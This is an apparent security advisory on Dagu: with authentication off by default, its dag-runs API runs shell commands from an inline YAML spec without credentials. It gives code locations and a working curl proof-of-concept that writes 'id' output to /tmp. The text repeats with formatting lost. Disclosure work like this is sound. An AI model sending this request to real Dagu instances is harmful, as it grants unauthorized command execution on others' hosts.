Summary
Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.
Details
internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.
The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.
PoC
curl -s -X POST http://TARGET:8080/api/v2/dag-runs \
-H "Content-Type: application/json" \
-d '{"name":"poc","spec":"steps:\n - name: rce\n command: id > /tmp/pwned\n"}'
# Response: {"dagRunId":"<uuid>"}
# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.
Impact
Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGU_AUTH_MODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.
Summary
Dagu's default configuration ships with authentication disabled. The
POST /api/v2/dag-runsendpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.Details
internal/service/app/config/loader.go:226setsAuthModeNoneas the default. With no auth mode configured,internal/frontend/api/v2/handlers/api.go:520returnsnilfromrequireExecute()— all permission checks pass without a valid session.The
POST /api/v2/dag-runsendpoint accepts aspecfield containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.PoC
Confirmed on
ghcr.io/dagu-org/dagu:latestwith no configuration changes.Impact
Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit
DAGU_AUTH_MODEconfiguration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.